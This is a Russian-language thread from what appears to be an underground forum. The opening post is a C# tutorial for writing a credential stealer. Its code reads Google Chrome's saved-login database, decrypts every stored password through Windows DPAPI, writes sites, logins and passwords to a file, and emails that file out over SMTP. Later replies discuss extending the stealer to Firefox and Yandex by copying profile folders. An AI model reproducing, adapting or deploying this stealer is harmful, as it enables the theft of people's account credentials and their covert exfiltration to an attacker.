• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

[c#] Воруем пароли из Google Chrome

  • Автор темы Удалённый пользователь 43989
  • Дата начала

Удалённый пользователь 43989

Guest
У

Удалённый пользователь 43989

Guest
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.

Мастер – ключ - это комбинация следующих элементов:
SID — уникальный идентификатор безопасности.
HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут https://habrahabr.ru/post/148602/

Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:

string fileDb = @"C:\Users\Adminka\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;

DataTable db = new DataTable();
string sql = $"SELECT * FROM {db_fields}";
using (SQLiteConnection connection = new SQLiteConnection(connectionString))
{
SQLiteCommand command = new SQLiteCommand(sql, connection);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
adapter.Fill(db);
}

int rows = db.Rows.Count;
Console.WriteLine($"Всего записей: {rows}");

for (int i = 0; i < rows; i++)
{
string url = db.Rows[1].ToString();
string login = db.Rows[3].ToString();
byte[] byteArray = (byte[])db.Rows[5];
byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
string password = new UTF8Encoding(true).GetString(decrypted);
sw.WriteLine("----------------------------");
sw.WriteLine($"Номер: {i}");
sw.WriteLine($"Сайт: {url}");
sw.WriteLine($"Логин: {login}");
sw.WriteLine($"Пароль: {password}");
}
sw.Close();

MailSend.SendMail("smtp.mail.ru", "[email protected]", "password", "[email protected]", "Пароли", fileName, fileName);
Console.ReadKey();

Код класса DPAPI Взят отсюда http://www.obviex.com/samples/dpapi.aspx
 

trenoga2008

Участник
Сообщения
38
Реакции
14
0 руб.
Ты сделал мой день бро! Боже! Как долго я ждал этой заметки! От души спасибо! пример пренепременно проверю! И попутно вопрос - а как это реализовано в Firefox?
 

zHd4

Местный
Сообщения
107
Реакции
82
0 руб.
Telegram
Вот всегда ждал именно раcшифровки, а не просто отправки файла, спасибо!
 

ATAR1

Местный
Сообщения
58
Реакции
61
0 руб.
Telegram
От яндекса бы так кто нибудь написал бы)
 

ATAR1

Местный
Сообщения
58
Реакции
61
0 руб.
Telegram

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
ток расшифровывать как?
стилак сорика вот например не чекает яндекс(
Можно полностью скопировать папку DATA и установить себе яндекс и закинуть эту папку туда)
А с расшифровкой там все сложно(разновидность md5 - какая-то) )
 

ATAR1

Местный
Сообщения
58
Реакции
61
0 руб.
Telegram
Можно полностью скопировать папку DATA и установить себе яндекс и закинуть эту папку туда)
А с расшифровкой там все сложно(разновидность md5 - какая-то) )
ну было бы не плохо если бы ввел такую функцию в стилак
 

ATAR1

Местный
Сообщения
58
Реакции
61
0 руб.
Telegram

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
ну было бы не плохо если бы ввел такую функцию в стилак
Ну написать функцию копирования папки с файлами - не сложно,но вручную придется из засовывать в папку браузера)
 

ATAR1

Местный
Сообщения
58
Реакции
61
0 руб.
Telegram

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.

ATAR1

Местный
Сообщения
58
Реакции
61
0 руб.
Telegram

ATAR1

Местный
Сообщения
58
Реакции
61
0 руб.
Telegram

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Под Firefox есть у кого нить?
Вродь FireFox хранит пасы здесь:
%userprofile%\Application Data\Mozilla\Firefox\Profiles\UID. default\
Дальше просто написать копирование этой папки с файлами и сувать себе в туже папку логи - такой самодельный говно-стиллер)
*писали про это выше*
 
Сверху Снизу